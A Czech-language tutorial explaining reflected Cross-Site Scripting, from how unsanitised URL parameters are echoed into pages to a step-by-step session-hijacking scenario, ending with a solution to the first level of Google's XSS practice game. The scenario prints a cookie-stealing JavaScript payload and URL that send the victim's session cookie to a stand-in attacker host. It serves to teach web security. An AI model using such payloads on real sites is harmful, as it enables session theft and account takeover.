Co je to Cross-Site Scripting?
Cross-Site Scripting (XSS) je dnes jedna z nejpopulárnějších útočných technik, známá jako Godfather of Attack a po mnoho let je uváděna jako nejnebezpečnější útočná technika pro aplikace.
Neříkejte tomu zkráceně CSS, aby nedošlo k záměně s konceptem kaskádových stylů HTML
Technika
XSS je založena na vkládání nebezpečných skriptů do zdrojového kódu webové aplikace. Spuštění škodlivého kódu Javascript k převzetí přihlašovací relace uživatele.
Pro lepší pochopení se podívejme na následující příklad. Webová aplikace, která umožňuje tisk hodnoty, kterou předáme prostřednictvím adresy URL, za předpokladu, že do proměnné name předáme hodnotu Ping:

Vše je zatím v pořádku, podívejme se na zdrojový kód html:

Je snadné vidět, že hodnota názvu, kterou jsme zadali, byla vložena do zdrojového kódu. Je tedy možné, že cokoli je importováno, lze také vložit. Problém se stává vážným, pokud zadaná hodnota není normální řetězec jako výše, ale potenciálně nebezpečný kus kódu, něco takového:
Zkuste to znovu s výše uvedenou hodnotou:

Z tohoto příkladu můžeme vyvodit dvě věci. Za prvé, proměnná name může přijmout libovolnou vstupní hodnotu a přenést ji na server ke zpracování. Za druhé, server tuto vstupní hodnotu nekontroloval, než ji vrátil prohlížeči. To vede k vložení kódu javascriptu do zdrojového kódu.
XSS se obecně dělí na 3 hlavní typy: Reflected, Stored a DOM based. V tomto článku zmíním především techniku Reflected XSS.
Až 75 % technik XSS je založeno na Reflected XSS. Říká se tomu reflektované, protože v tomto typu scénáře zneužití musí hacker poslat oběti adresu URL obsahující škodlivý kód (obvykle javascript). Oběť stačí požádat o tuto adresu URL a hacker okamžitě obdrží odpověď obsahující požadovaný výsledek (zde zobrazena reflexivita). Kromě toho je také známý jako XSS prvního řádu.
Skutečný scénář těžby
Existuje mnoho způsobů, jak využít chybu Reflected XSS, jedním z nejznámějších způsobů je převzít relaci uživatele, a tím získat přístup k datům a získat jeho práva na webu.
Podrobnosti jsou popsány v následujících krocích:

1. Uživatel se přihlásí na web a předpokládá, že je přiřazena relace:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Hacker nějakým způsobem odešle uživateli adresu URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Předpokládejme, že example.com je web, který oběť navštíví, hacker-site.net je web vytvořený hackerem
3. Oběť přistoupí na výše uvedenou adresu URL
4. Server odpoví oběti spolu s daty obsaženými v požadavku (úryvek javascriptu hackera)
5. Prohlížeč oběti obdrží odpověď a spustí javascript
6. Skutečný javascript, který hacker vytvořil, je následující:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Výše uvedený příkazový řádek v podstatě odešle požadavek na web hackera s parametrem cookie uživatele:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Hacker z vašeho webu zachytí výše uvedený obsah požadavku a považuje relaci uživatele za převzatou. V tomto okamžiku se hacker může vydávat za oběť a uplatňovat všechna práva na webových stránkách, které oběť má.
Praxe
Google vytvořil stránku pro procvičování zneužití XSS chyb zde: https://xss-game.appspot.com
Cílem těchto výzev je, že musíte vložit skripty, aby se objevilo vyskakovací okno. První výzvou je ilustrovat reflektovanou techniku, kód využití je poměrně jednoduchý:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Hodně štěstí!